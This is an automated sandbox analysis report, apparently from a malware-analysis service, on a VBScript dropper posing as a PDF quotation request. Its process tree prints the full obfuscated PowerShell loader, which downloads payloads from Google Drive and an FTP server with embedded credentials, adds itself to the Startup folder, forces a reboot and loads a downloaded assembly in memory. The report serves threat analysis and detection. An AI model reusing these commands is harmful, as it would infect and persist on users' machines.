Overview

overview

10

Static

static

1

Quotation ...df.vbs

windows7-x64

10

Quotation ...df.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09-10-2024 10:03

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Report Analysis Logs

General

  • Target

    Quotation request YN2024-10-07pdf.vbs

  • Size

    543KB

  • MD5

    b451bbcd915ef91e894f74a26a6d11fb

  • SHA1

    e0fbce292efdb6c2c84813723f24a36fc1aa11dc

  • SHA256

    e5e5397c47989a79e8f633ad808816699500cf461addb819768b1a26ef02247f

  • SHA512

    e52cce64c2df9d24737af4dc14d9b149698d88fe89333dbe775fab9349fa955cb973921c5f1f73eb34b37886e94ee5b86be13938ff9c5d220f604d8e139e9361

  • SSDEEP

    1536:CJJJJJJJJJJJJJJJJJ7ssssssssssssssssssssssssssssssssssssssssssss9:M

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Quotation request YN2024-10-07pdf.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + '0AHoAdg' + [char]66 + 'rAHEAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHoAdg' + [char]66 + 'rAHEAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + '0AHoAdg' + [char]66 + 'rAHEAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AdA' + [char]66 + '6AHYAaw' + [char]66 + 'xACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwARAAvADEAMAAvAHIAZQ' + [char]66 + '0AHAAeQ' + [char]66 + 'yAGMAcA' + [char]66 + 'VAC8Acg' + [char]66 + 'iAC4AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC4AcA' + [char]66 + '0AGYAQAAxAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcA' + [char]66 + '0AGYAJwAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4AdA' + [char]66 + '6AHYAaw' + [char]66 + 'xACQAIAA9ACAAZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAA7ACkAJw' + [char]66 + 'AAEAAcA' + [char]66 + 'KADgANwA1ADEAMg' + [char]66 + 'vAHIAcA' + [char]66 + 'yAGUAcA' + [char]66 + 'vAGwAZQ' + [char]66 + '2AGUAZAAnACwAKQApADkANAAsADYAMQAxACwANwA5ACwANAAxADEALAA4ADkALAA4ADEAMQAsADcAMAAxACwAOQA5ACwANQAxADEALAAxADAAMQAsADAAMAAxACgAXQ' + [char]66 + 'dAFsAcg' + [char]66 + 'hAGgAYw' + [char]66 + 'bACAAbg' + [char]66 + 'pAG8AagAtACgAKA' + [char]66 + 'sAGEAaQ' + [char]66 + '0AG4AZQ' + [char]66 + 'kAGUAcg' + [char]66 + 'DAGsAcg' + [char]66 + 'vAHcAdA' + [char]66 + 'lAE4ALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAG8ALQ' + [char]66 + '3AGUAbgAgAD0AIA' + [char]66 + 'zAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMALg' + [char]66 + '0AHoAdg' + [char]66 + 'rAHEAJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '6AHYAaw' + [char]66 + 'xACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAdA' + [char]66 + '6AHYAaw' + [char]66 + 'xACQAOw' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOw' + [char]66 + '9AGUAdQ' + [char]66 + 'yAHQAJA' + [char]66 + '7ACAAPQAgAGsAYw' + [char]66 + 'hAGIAbA' + [char]66 + 'sAGEAQw' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAZA' + [char]66 + 'pAGwAYQ' + [char]66 + 'WAGUAdA' + [char]66 + 'hAGMAaQ' + [char]66 + 'mAGkAdA' + [char]66 + 'yAGUAQw' + [char]66 + 'yAGUAdg' + [char]66 + 'yAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AIA' + [char]66 + 'mAC8AIAAwACAAdAAvACAAcgAvACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'uAHcAbw' + [char]66 + 'kAHQAdQ' + [char]66 + 'oAHMAIAA7ACcAMAA4ADEAIA' + [char]66 + 'wAGUAZQ' + [char]66 + 'sAHMAJwAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAApACAAJw' + [char]66 + 'wAHUAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + 'tAGEAcg' + [char]66 + 'nAG8Acg' + [char]66 + 'QAFwAdQ' + [char]66 + 'uAGUATQAgAHQAcg' + [char]66 + 'hAHQAUw' + [char]66 + 'cAHMAdw' + [char]66 + 'vAGQAbg' + [char]66 + 'pAFcAXA' + [char]66 + '0AGYAbw' + [char]66 + 'zAG8Acg' + [char]66 + 'jAGkATQ' + [char]66 + 'cAGcAbg' + [char]66 + 'pAG0AYQ' + [char]66 + 'vAFIAXA' + [char]66 + 'hAHQAYQ' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AFwAJwAgACsAIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAAgACgAIA' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAbg' + [char]66 + 'pAHQAcw' + [char]66 + 'lAEQALQAgACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAbQ' + [char]66 + 'lAHQASQAtAHkAcA' + [char]66 + 'vAEMAIAA7ACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAcg' + [char]66 + 'vAG4ALwAgAHQAZQ' + [char]66 + 'pAHUAcQAvACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'hAHMAdQ' + [char]66 + '3ACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wACAAOwApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAFQAcg' + [char]66 + 'IAFYAdQAkACgAIAA9ACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SADsAKQAgAGUAbQ' + [char]66 + 'hAE4Acg' + [char]66 + 'lAHMAVQA6ADoAXQ' + [char]66 + '0AG4AZQ' + [char]66 + 'tAG4Abw' + [char]66 + 'yAGkAdg' + [char]66 + 'uAEUAWwAgACsAIAAnAFwAcw' + [char]66 + 'yAGUAcw' + [char]66 + 'VAFwAOg' + [char]66 + 'DACcAKAAgAD0AIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAIAAsAEIASw' + [char]66 + 'MAFIAVQAkACgAZQ' + [char]66 + 'sAGkARg' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'oAHYAbA' + [char]66 + 'nAHgAJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AaA' + [char]66 + '2AGwAZw' + [char]66 + '4ACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAaA' + [char]66 + '2AGwAZw' + [char]66 + '4ACQAOw' + [char]66 + '9ADsAIAApACcAdA' + [char]66 + 'PAEwAYw' + [char]66 + 'fAEsAYQAzAFoAZg' + [char]66 + 'vAFgAMg' + [char]66 + 'KAEoAcg' + [char]66 + 'WAGgAbQ' + [char]66 + 'WADkAYw' + [char]66 + 'tADkAWA' + [char]66 + 'zAHUAWA' + [char]66 + 'tAGoAMQ' + [char]66 + 'nADEAJwAgACsAIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAAoACAAPQAgAEkAbw' + [char]66 + 'xAGEARgAkAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AOwAgACkAJwAyADQAdQ' + [char]66 + 'YAEoAVA' + [char]66 + 'xAGEAbQ' + [char]66 + 'nAHkATQ' + [char]66 + '0AEYAeg' + [char]66 + 'hAGsAUA' + [char]66 + 'SADEAcQ' + [char]66 + 'fAEkAdg' + [char]66 + 'HAGkAWA' + [char]66 + 'OAGQAcQ' + [char]66 + 'hAE4AMQAnACAAKwAgAEkAbw' + [char]66 + 'xAGEARgAkACgAIAA9ACAASQ' + [char]66 + 'vAHEAYQ' + [char]66 + 'GACQAewAgACkAIA' + [char]66 + 'yAG0ARQ' + [char]66 + '3AGoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAJwA0ADYAJwAoAHMAbg' + [char]66 + 'pAGEAdA' + [char]66 + 'uAG8AQwAuAEUAUg' + [char]66 + 'VAFQAQw' + [char]66 + 'FAFQASQ' + [char]66 + 'IAEMAUg' + [char]66 + '' + [char]66 + 'AF8AUg' + [char]66 + 'PAFMAUw' + [char]66 + 'FAEMATw' + [char]66 + 'SAFAAOg' + [char]66 + '2AG4AZQAkACAAPQAgAHIAbQ' + [char]66 + 'FAHcAagAkADsAJwA9AGQAaQAmAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8AZAA9AHQAcg' + [char]66 + 'vAHAAeA' + [char]66 + 'lAD8AYw' + [char]66 + '1AC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'lAGwAZw' + [char]66 + 'vAG8AZwAuAGUAdg' + [char]66 + 'pAHIAZAAvAC8AOg' + [char]66 + 'zAHAAdA' + [char]66 + '0AGgAJwAgAD0AIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAA7ACkAIAAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'UAHIASA' + [char]66 + 'WAHUAJAAgACgAIA' + [char]66 + 'sAGUAZAA7ACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAewAgACkAIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAMgAoAHMAbA' + [char]66 + 'hAHUAcQ' + [char]66 + 'FAC4Acg' + [char]66 + 'vAGoAYQ' + [char]66 + 'NAC4Abg' + [char]66 + 'vAGkAcw' + [char]66 + 'yAGUAVgAuAHQAcw' + [char]66 + 'vAGgAJAAgAD0AIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgADsA';$trrnd = $qKKzc; ;$trrnd = $qKKzc.replace('уЦϚ' , 'B') ;;$mmqkg = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $trrnd ) ); $mmqkg = $mmqkg[-1..-$mmqkg.Length] -join '';$mmqkg = $mmqkg.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\Quotation request YN2024-10-07pdf.vbs');powershell $mmqkg
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$xglvh = (New-Object Net.WebClient);$xglvh.Encoding = [System.Text.Encoding]::UTF8;$xglvh.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Quotation request YN2024-10-07pdf.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$qkvzt = (New-Object Net.WebClient);$qkvzt.Encoding = [System.Text.Encoding]::UTF8;$qkvzt.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $qkvzt.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$qkvzt.dispose();$qkvzt = (New-Object Net.WebClient);$qkvzt.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $qkvzt.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\Quotation request YN2024-10-07pdf.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"
        3⤵
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe RiWcG /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2644
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" RiWcG /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:2540
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2056

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    780356a9f91c22f36b75f8ea717fbf82

    SHA1

    dcdb79340e63a878dafa63603436d6c4e6fcec7e

    SHA256

    af7fe411add1fdfb356735559acb3973fd1c4ec3271a292e7b8f49d536185217

    SHA512

    bc353b92b1e55294b3dee710c402f74f504c2030e2625b99f3a7a893d5033af53023f12db3680f4bdea2eb1f961ae21e5ec8ad9f6c01341ba676028cee254f85

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  • memory/2652-4-0x000007FEF526E000-0x000007FEF526F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2652-5-0x000000001B4A0000-0x000000001B782000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2652-6-0x00000000028E0000-0x00000000028E8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2652-7-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2652-13-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2652-26-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2652-27-0x000007FEF526E000-0x000007FEF526F000-memory.dmp

    Filesize

    4KB

    Download